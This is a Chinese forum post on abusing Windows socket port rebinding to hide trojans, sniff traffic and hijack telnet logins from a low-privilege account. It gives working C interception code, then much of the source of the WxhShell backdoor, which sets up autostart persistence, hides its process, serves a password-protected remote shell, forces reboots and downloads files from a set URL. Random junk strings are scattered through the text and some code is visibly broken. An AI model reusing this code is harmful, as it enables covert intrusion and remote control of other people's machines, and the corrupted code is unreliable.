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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Gm\jboef]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,+g0#8?p^x  
n{F&GE="  
  saddr.sin_family = AF_INET; 4,6?sTuX  
xO 1uHaL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ac,bf 8C  
PPtJ/ }\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); du=[r  
(5^SL Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M<)Vtn  
H%Sx*|  
  这意味着什么?意味着可以进行如下的攻击: 6<Zk%[7t  
ukX KUYNm8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "k7C   
=~ j S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Bv=:F5hLG  
*5'l"YQ@1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Su`] ku'  
Fc"+L+h@W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   O6!:Qd  
m3b?f B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1b"3]?  
}l@7t&T|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q"{Q]IT  
k$K>ml/h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M#]URS2h<O  
[%7oq;^J  
  #include ) ]]PhGX~  
  #include ~M J3-<I  
  #include x@"`KiEUs  
  #include    7y>{Y$n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N%8aLD  
  int main() *&yt;|y  
  { [IuF0$w=dj  
  WORD wVersionRequested; E@ !~q  
  DWORD ret; =^3B&qQNq  
  WSADATA wsaData; WPNvZg9*c  
  BOOL val; 2k""/xMF'  
  SOCKADDR_IN saddr; cX-) ]D  
  SOCKADDR_IN scaddr; /SYzo4(  
  int err; [;i3o?\_I  
  SOCKET s; ,G(bwE9~  
  SOCKET sc; <3aW3i/jTc  
  int caddsize; X1~ B  
  HANDLE mt; a{8g9a4  
  DWORD tid;   8U&93$  
  wVersionRequested = MAKEWORD( 2, 2 ); `wLa.Gzj  
  err = WSAStartup( wVersionRequested, &wsaData ); J|I&{  
  if ( err != 0 ) { e;)&Hc:Z  
  printf("error!WSAStartup failed!\n"); EY 9N{  
  return -1; ,1-#Z"~c  
  } SSI('6Z/  
  saddr.sin_family = AF_INET; #kDJ>r |&-  
   ~Aq$GH4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %L;'C v  
+LAjh)m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l ilF _ y  
  saddr.sin_port = htons(23); nHi6$ } I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ej64^*  
  { *+'l|VaVq\  
  printf("error!socket failed!\n"); .1& F p  
  return -1; 0(dXU\Y  
  } 5l(Q#pSX  
  val = TRUE; ) bGzsb1\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5;-?qcb^w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Lv?e[GA  
  { ZYX(Cf  
  printf("error!setsockopt failed!\n"); *l4`2eqZ  
  return -1; Kf7v_T /  
  }  ~/kx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -J=N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rn8t<=ptH3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #>\+6W17U  
v5o@ls  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VjVL/SO/  
  { %7bZnK`C  
  ret=GetLastError(); LK[%}2me  
  printf("error!bind failed!\n"); X>y6-%@  
  return -1; m`lsUN,  
  } Z}'"c9oB  
  listen(s,2); BAS3&fA  
  while(1) R+O[,UM^I~  
  { j8ebVq  
  caddsize = sizeof(scaddr); ,d34v*U  
  //接受连接请求 [3QKBV1\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !EQMTF=(  
  if(sc!=INVALID_SOCKET) h .$3 jNU  
  { Lcyj, R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  $VCWc#  
  if(mt==NULL) |YAnd=$  
  { C7[CfcPA  
  printf("Thread Creat Failed!\n"); 77I D 82  
  break; 4h[^!up.7  
  } e:  
  } &<sN( ;%0R  
  CloseHandle(mt); Q@lJ|  
  } 7 n=fB#!*3  
  closesocket(s); J<{@D9r9<~  
  WSACleanup(); M _z-~G  
  return 0; `o~9a N  
  }   M6b; DQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) isP4*g&%x  
  { a~F` {(Q2  
  SOCKET ss = (SOCKET)lpParam; t~0}Emgp<(  
  SOCKET sc; jreY'y:  
  unsigned char buf[4096]; wz P")}[0  
  SOCKADDR_IN saddr; "sf]I[a  
  long num; V0h  
  DWORD val; >@BvyZ)i  
  DWORD ret; A,T3%TE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vK?{Z^J][  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'J`%[,@V  
  saddr.sin_family = AF_INET; `_;VD?")*l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f`j RLo*L  
  saddr.sin_port = htons(23); Nz&J&\X)tD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yU(k;A-  
  { YrR}55V,  
  printf("error!socket failed!\n"); F*_mHYa;  
  return -1; H[{ch t h  
  } <eq93  
  val = 100; IRZ?'Im  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;?9u#FRtw  
  { |'2E'?\/x  
  ret = GetLastError(); P2`!)teN  
  return -1; ~ 0x9`~  
  } V}>0r+NL<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  nO~TW  
  { "yI)F~A  
  ret = GetLastError(); '%>$\Lv  
  return -1; Q b5AQf30  
  } `q 4%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *HwTq[y  
  { IdlW[h3`[  
  printf("error!socket connect failed!\n"); m3k}Q3&6Z  
  closesocket(sc); \7}X^]UVx  
  closesocket(ss); >4.{|0%ut  
  return -1; j!;?=s  
  } G!54 e  
  while(1) PT|W{RlNl  
  { $zTjh~ 9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dOFxzk,g&R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H5Rn.n(|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i>S /W!F  
  num = recv(ss,buf,4096,0); : /9@p  
  if(num>0) mb*L'y2r  
  send(sc,buf,num,0); ] y, 6  
  else if(num==0) :G|Jcl=r  
  break; @Zs}8YhC  
  num = recv(sc,buf,4096,0); !m$OI:rr  
  if(num>0) l|fOi A*K  
  send(ss,buf,num,0); DiAPs_@  
  else if(num==0) pbivddi2  
  break; eA>O<Z1>  
  } '$M=H.  
  closesocket(ss); :Q\b$=,:  
  closesocket(sc); Xv'M\T}6C+  
  return 0 ; bf `4GD(  
  } _?3bBBy  
+>oVc\$  
aT#R#7<Eg  
========================================================== a`CsLBv&  
PCs+` WP!M  
下边附上一个代码,,WXhSHELL [KR`%fD0  
8KD7t&H  
========================================================== +gTnq")wnI  
c8gdY`  
#include "stdafx.h" //W<\  
(i7]N[  
#include <stdio.h> CCX\"-C  
#include <string.h> g[j"]~  
#include <windows.h> <Ja>  
#include <winsock2.h> ,k/*f+t  
#include <winsvc.h> p~28?lYv  
#include <urlmon.h> -lyT8qZ:(  
4.7ePbk[E  
#pragma comment (lib, "Ws2_32.lib") pd,5.d  
#pragma comment (lib, "urlmon.lib") kzGD *  
^zQ;8)ng  
#define MAX_USER   100 // 最大客户端连接数 U]fE(mpI9  
#define BUF_SOCK   200 // sock buffer pHY~_^B4&  
#define KEY_BUFF   255 // 输入 buffer R{3f5**0  
jGEUl=W  
#define REBOOT     0   // 重启 ;t@zH+*}  
#define SHUTDOWN   1   // 关机 . #;ZM[v  
0vUX^<  
#define DEF_PORT   5000 // 监听端口 &?*M+q34  
AFl]w'=  
#define REG_LEN     16   // 注册表键长度 jR\T\r4  
#define SVC_LEN     80   // NT服务名长度 k:<yy^g$X  
"-vm=d~\  
// 从dll定义API }}Eko7'^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (hVhzw"~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l.lXto.6)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2<y E3:VX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (M6B$:  
vI#\ Qe  
// wxhshell配置信息 #OH-LWZh  
struct WSCFG { D2~e@J(K  
  int ws_port;         // 监听端口 H__9%p#  
  char ws_passstr[REG_LEN]; // 口令 ~d 7!)c`z  
  int ws_autoins;       // 安装标记, 1=yes 0=no [X=-x=S,  
  char ws_regname[REG_LEN]; // 注册表键名 ]E88zWDY`  
  char ws_svcname[REG_LEN]; // 服务名 ooByGQ90V:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )=;0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 on+ c*#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <r,l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^!1mChf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j|KZ HH%dc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /_?Ly$>'  
6Ez}A|i  
}; zMKW@  
29pIO]8;  
// default Wxhshell configuration +BM(0M+  
struct WSCFG wscfg={DEF_PORT, h{yqNl  
    "xuhuanlingzhe", goeWZO  
    1, t&wtw  
    "Wxhshell", 3*3WO,9  
    "Wxhshell", "Sc_E}q |e  
            "WxhShell Service", Ta%{Wa\U9z  
    "Wrsky Windows CmdShell Service", uE-~7Q(@  
    "Please Input Your Password: ", J-A CV(z=q  
  1, Tl%#N"  
  "http://www.wrsky.com/wxhshell.exe", :p(3Ap2TY  
  "Wxhshell.exe" gc7S_D~;  
    }; "o`N6@[w^  
8,#v7ns}#  
// 消息定义模块 ;_,=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `pE~M05  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %.BbPR7?h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a{QHv0goG  
char *msg_ws_ext="\n\rExit."; %s%v|HDs  
char *msg_ws_end="\n\rQuit."; 8k]'P*9ulz  
char *msg_ws_boot="\n\rReboot..."; jhUab],  
char *msg_ws_poff="\n\rShutdown...";  ]k_@F6 A  
char *msg_ws_down="\n\rSave to "; //\ORJd  
(+38z)f  
char *msg_ws_err="\n\rErr!"; v1QE|@  
char *msg_ws_ok="\n\rOK!"; fnG&29x  
I7nt<l!  
char ExeFile[MAX_PATH]; \D<rT)Tl  
int nUser = 0; ~a4htj  
HANDLE handles[MAX_USER]; ioIUIp+B~u  
int OsIsNt; Z'>Xn^  
WsTbqR)W%  
SERVICE_STATUS       serviceStatus; qXkc~{W_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H jbC>*  
/fWVgyW> 6  
// 函数声明 k;R*mg*K  
int Install(void); Ti!j  
int Uninstall(void); D!ToCVos  
int DownloadFile(char *sURL, SOCKET wsh); /);cl;"  
int Boot(int flag); A{Z=[]r1`E  
void HideProc(void); / ,f*IdB  
int GetOsVer(void); ~C{d2i  
int Wxhshell(SOCKET wsl); <K%qaf  
void TalkWithClient(void *cs); PtCwr)B,  
int CmdShell(SOCKET sock); -wy$ ?Ha  
int StartFromService(void); k+{ -iPm{  
int StartWxhshell(LPSTR lpCmdLine); AiykIER/  
ny| ni\6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5*{U!${a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !1]72%k[  
[2gK^o&t  
// 数据结构和表定义 p}hOkx4R\  
SERVICE_TABLE_ENTRY DispatchTable[] = 7KnZ  
{ cj`g)cX|  
{wscfg.ws_svcname, NTServiceMain}, :;t*:iG  
{NULL, NULL} D%N^iJC,9  
}; =2BGS\$#  
j~(rG^T  
// 自我安装 I&U?8  
int Install(void) <YP>c  
{ scCOiK)  
  char svExeFile[MAX_PATH]; o> WH;EBL  
  HKEY key; 8xs[{?|:  
  strcpy(svExeFile,ExeFile); .vj`[?T  
S " R]i  
// 如果是win9x系统,修改注册表设为自启动 5*xk8*  
if(!OsIsNt) { xI55pj*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( YF`#v6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'xm_oGWE  
  RegCloseKey(key); SG2s!Ht  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &/d;4Eu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1D&Q{?RM  
  RegCloseKey(key); '^'vafs-/@  
  return 0; ".O+";wk  
    } Lo\+T+n  
  } ^rMkCA@;TZ  
} Ra}%:  
else { \C5YVl#  
D'F =v\P  
// 如果是NT以上系统,安装为系统服务 f ."bq43(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wjn1W;m&g  
if (schSCManager!=0) >c*}Do{lG  
{ !s06uh  
  SC_HANDLE schService = CreateService B?'`\q) UL  
  ( QM=M<~<Voh  
  schSCManager, dq28Y$9~  
  wscfg.ws_svcname, INOw0E[  
  wscfg.ws_svcdisp, .i>; ?(GH  
  SERVICE_ALL_ACCESS, dkt'~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o;.PZi2k  
  SERVICE_AUTO_START, d>*?C!xE  
  SERVICE_ERROR_NORMAL, dFFJw[$8w  
  svExeFile, nR-`;lrF~  
  NULL, XZLo*C!MG  
  NULL, @tWyc%t  
  NULL, ME7jF9d  
  NULL, bYGK}:T8U  
  NULL 1T a48  
  ); `9n%Dy<  
  if (schService!=0) s]Nh9h  
  { oA%8k51>~K  
  CloseServiceHandle(schService); m!3b.2/h  
  CloseServiceHandle(schSCManager); BoE;,s>]NW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y8'WR-;  
  strcat(svExeFile,wscfg.ws_svcname); $@"o BCc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yT%"<m6Y*\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >!MOgLO3  
  RegCloseKey(key); ?F1NZA[%t  
  return 0; oMawIND a  
    } i\lur ET  
  } I *YO  
  CloseServiceHandle(schSCManager); 4n @}X-)  
} zV_U/]y  
} fNNkc[YTZI  
,f8<s-y4Sg  
return 1; YQ9@Dk0R  
} ?Y7'OlO  
tfW/Mf  
// 自我卸载 swJ3_WhbdT  
int Uninstall(void) 4NT zK  
{ OvqCuX  
  HKEY key; G=W!$(:  
~s{yh-B  
if(!OsIsNt) { 0OO$(R*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3o&PVU? Q  
  RegDeleteValue(key,wscfg.ws_regname); .[%em9u  
  RegCloseKey(key); 8\+kfK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D 's'LspQ  
  RegDeleteValue(key,wscfg.ws_regname); ZqT?7|i  
  RegCloseKey(key); _-eF &D  
  return 0; P9= L?t.  
  } PXqLK3AE  
} 6FNs4|(d  
} ++n"` ]o,  
else { ,e{(r0  
{WQH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P0NGjS|Z{  
if (schSCManager!=0) Oa~|a7`o  
{ F(c~D0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M>W-lp^3  
  if (schService!=0) ,3l=44*  
  { Kk#g(YgNz  
  if(DeleteService(schService)!=0) { fmyyQ|]O"  
  CloseServiceHandle(schService); ]L#6'|W  
  CloseServiceHandle(schSCManager); FjF:Eh  
  return 0; #va|&QBZxM  
  } B?`n@/  
  CloseServiceHandle(schService); rqbX9M^  
  } _9!*laR!2  
  CloseServiceHandle(schSCManager); N=FU>qbz  
} p?(w !O  
} Y^80@MJ  
y^7;I-  
return 1; t)P5bQ+$u9  
} 7Gb1[3  
[ fvip_Pt  
// 从指定url下载文件 D-\WS^#  
int DownloadFile(char *sURL, SOCKET wsh) M:x?I_JG8  
{ #U45;idp  
  HRESULT hr; 'zCJK~x`x  
char seps[]= "/"; r2A%.bL#  
char *token; vH/<!jtI  
char *file; {* S8n09v  
char myURL[MAX_PATH]; 8Q&.S)hrN  
char myFILE[MAX_PATH]; !T;*F%G9  
rvO7e cR"  
strcpy(myURL,sURL); y+xw`gR:  
  token=strtok(myURL,seps); w:xLg.Eq6  
  while(token!=NULL) "Y0:Y?Vz"  
  { *)0bifw$&  
    file=token; gI8r SmH  
  token=strtok(NULL,seps); &Fo)ea  
  } PhBdm'  
}% (e`[?1  
GetCurrentDirectory(MAX_PATH,myFILE); 7L~LpB  
strcat(myFILE, "\\"); [=M0%"  
strcat(myFILE, file); lg` Qi&  
  send(wsh,myFILE,strlen(myFILE),0); >;V ? s]  
send(wsh,"...",3,0); #U45H.Rz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @V{s'V   
  if(hr==S_OK) Tdtn-  
return 0; N2:};a[ui5  
else `L p3snS  
return 1; XQL"D)fw  
Zwy8 SD'L  
} Sh'>5z2  
rmpx8C Y"  
// 系统电源模块 hz#S b~g  
int Boot(int flag) lU]/nKyd  
{ %gj's-!!  
  HANDLE hToken; (2J_Y*N~>  
  TOKEN_PRIVILEGES tkp; BDoL)}bRE  
+~, qb1aZ  
  if(OsIsNt) { FlJ(V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t}m6];  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZqKUz5M4  
    tkp.PrivilegeCount = 1; *zoAD|0N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fx#0 :p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rl-r8?H}  
if(flag==REBOOT) { rN6 @=uB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N)'oX3?x  
  return 0; 86Q\G.h7  
} }#~@HM>6Z  
else { 5Pmmt&#/Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `L<f15][  
  return 0; ?DPN a  
} yNp l0 d  
  } v%Rc wVt|  
  else { A*l(0`aWq  
if(flag==REBOOT) { &t)dE7u5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c\GJfsVk  
  return 0; K"'W4bO#7  
} &8!* u3  
else { c%1 <O!c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *&p`8:  
  return 0; zTi %j$o  
} `P1jg$(eA  
} 2yqm$i9C  
A WlR" p2  
return 1; oXw}K((|  
} d"zbY\`  
cgKK(-$ny  
// win9x进程隐藏模块 cU}j Whu  
void HideProc(void) l!Q |]-.@  
{ ;{b 1'  
$ijWwrh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C6Qnn@waYb  
  if ( hKernel != NULL ) \ZdV|23  
  { 9/Q_Jv-Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bni :B?#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PMr {BS  
    FreeLibrary(hKernel); `q Sfo`  
  } /BC(O[P  
G=4Da~<ij  
return; ,aI 6P-  
} jJ% *hDZ6t  
f(q^R  
// 获取操作系统版本 SF*! Z2K  
int GetOsVer(void) ahgm*Cpc  
{ x7$U  
  OSVERSIONINFO winfo; $q#|B3N%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v8! 1"FYL  
  GetVersionEx(&winfo); X$,#OR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2YvhzL[um  
  return 1; 0Eq.l<  
  else 9k.LV/Y  
  return 0; @+A`n21,O  
} V^Wo%e7#u[  
Alh"G6  
// 客户端句柄模块 b6=.6?H@4f  
int Wxhshell(SOCKET wsl) %XGwQB$zk8  
{ IQ$l!)  
  SOCKET wsh; Nx4_Oc^hY  
  struct sockaddr_in client; Te?UQX7Z}M  
  DWORD myID; b;\qF&T  
eK\ O>  
  while(nUser<MAX_USER) 6L@g]f|Y@  
{ kQlXcR  
  int nSize=sizeof(client); GCul6,w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q7]:vs)%  
  if(wsh==INVALID_SOCKET) return 1; |YjuaXd7N  
RW 23lRA6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jYKs| J)[  
if(handles[nUser]==0) LLOe  
  closesocket(wsh); 8EZ"z d`n/  
else >*%ySlZbs  
  nUser++; JBQ,rX_Hw  
  } R{S{N2+p(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M@@"-dy  
UNLy{0tA  
  return 0; 2GECcx53  
} c0ET]  
*ie#9jA  
// 关闭 socket hnS ~r4  
void CloseIt(SOCKET wsh) $oK,&_  
{ .(Q3M0.D  
closesocket(wsh); ^!H8"CdC3  
nUser--; Er} xB~<t  
ExitThread(0); '3=[xVnv  
} Uxx=$&#  
]t_AXKd  
// 客户端请求句柄 (_-<3)q4  
void TalkWithClient(void *cs) 'LIJpk3J  
{ Q%~b(4E^7P  
reLYtv  
  SOCKET wsh=(SOCKET)cs; m<00 5_Z0Q  
  char pwd[SVC_LEN]; [ >#?C*s  
  char cmd[KEY_BUFF]; 04NI.Jv  
char chr[1]; &s_O6cqgh  
int i,j; `9b/Q  
k{Yj!C> #  
  while (nUser < MAX_USER) { VR5$[-E3  
$Hqm 09w  
if(wscfg.ws_passstr) { S:{hgi,T*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sJtz{'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VkFTIyt  
  //ZeroMemory(pwd,KEY_BUFF); Lu}oC2  
      i=0; @u3K.}i:g  
  while(i<SVC_LEN) { 7(na?Z$  
Q(gu ";&  
  // 设置超时 ->&AJI0  
  fd_set FdRead; 2Jrr;"r  
  struct timeval TimeOut; -?<wvUbR{  
  FD_ZERO(&FdRead); E,E:WuB  
  FD_SET(wsh,&FdRead); : :8UVLX  
  TimeOut.tv_sec=8; 5~4I.+~8  
  TimeOut.tv_usec=0; jy{T=Nb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x, a[ p\1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 95^w" [}4Q  
h";G vjy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3nf+ imAF  
  pwd=chr[0]; VztalwI  
  if(chr[0]==0xd || chr[0]==0xa) { 6N\~0d>5m  
  pwd=0; L <]j&  
  break; D:'|poH  
  } AS`0.RC-  
  i++; Hk8:7"4Q  
    } F6Zl#eL  
<I'kJ{"  
  // 如果是非法用户,关闭 socket MGX %U6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x_{ua0BLDf  
} F >2t=r*9  
LlL\7?_;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cqr!*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eSoOJ[&$  
Wcn3\v6_  
while(1) { Y&`Vs(  
h J#U;GL  
  ZeroMemory(cmd,KEY_BUFF); ~\DC )  
~}w(YQy=y  
      // 自动支持客户端 telnet标准   &$jg *Kr  
  j=0; hf0G-r_ow  
  while(j<KEY_BUFF) { N:[m,U9a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3Gf^IV-  
  cmd[j]=chr[0]; A_T-]YQ  
  if(chr[0]==0xa || chr[0]==0xd) { zMt"ST.  
  cmd[j]=0; g"( vl-Uw  
  break; J]nb;4w  
  } EnA) Rz  
  j++; C*ZgjFvB  
    } Xj"/6|X  
fG;)wQJ  
  // 下载文件 `R0>;TdT  
  if(strstr(cmd,"http://")) { L7_Mg{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U2/H,D  
  if(DownloadFile(cmd,wsh)) 75wQH*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `rW{zQYM  
  else %m!o#y(hD`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h1G]w/.ws  
  } Y }'C'PR  
  else { Df02#493  
zC!]bWsD  
    switch(cmd[0]) { l@4hBq  
  |M  `B  
  // 帮助 rAIX(2@cR_  
  case '?': { 8^&)A b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nVw]0Yl  
    break; REB8_H"  
  } ?(>7v[=iT  
  // 安装 -r]s #$  
  case 'i': { D}vgXzD  
    if(Install()) 6Z ~>d;&9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >FFZ8=  
    else ?tE}89c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vTQQ d@  
    break; ^2|gQ'7<  
    } uCF+Mp  
  // 卸载 7<x0LW  
  case 'r': { AUcq\Ys  
    if(Uninstall()) uf\Hh -+p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >},O_qx  
    else t= "EbPE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^v*ajy.>  
    break; 6Bmv1n[X^h  
    } f[.RAHjk  
  // 显示 wxhshell 所在路径 pZ+zm6\$  
  case 'p': { yfiRMN"2  
    char svExeFile[MAX_PATH]; NS-u,5Jt  
    strcpy(svExeFile,"\n\r"); Ud^+a H  
      strcat(svExeFile,ExeFile); {z|0Y&>[=  
        send(wsh,svExeFile,strlen(svExeFile),0); 2W|4  
    break; 71 hv~Nk/x  
    } $@Zb]gavt?  
  // 重启 s2_j@k?%  
  case 'b': { =r3Yt9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !;pmql  
    if(Boot(REBOOT)) V%dMaX>^i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LPb43  
    else { FT/H~|Z>  
    closesocket(wsh); r.xGvo{iY  
    ExitThread(0); Vm_y,;/(-R  
    } 8\!0yM#yK  
    break; cz OhSbmc  
    } ss T o?WL|  
  // 关机 UY*Hc  
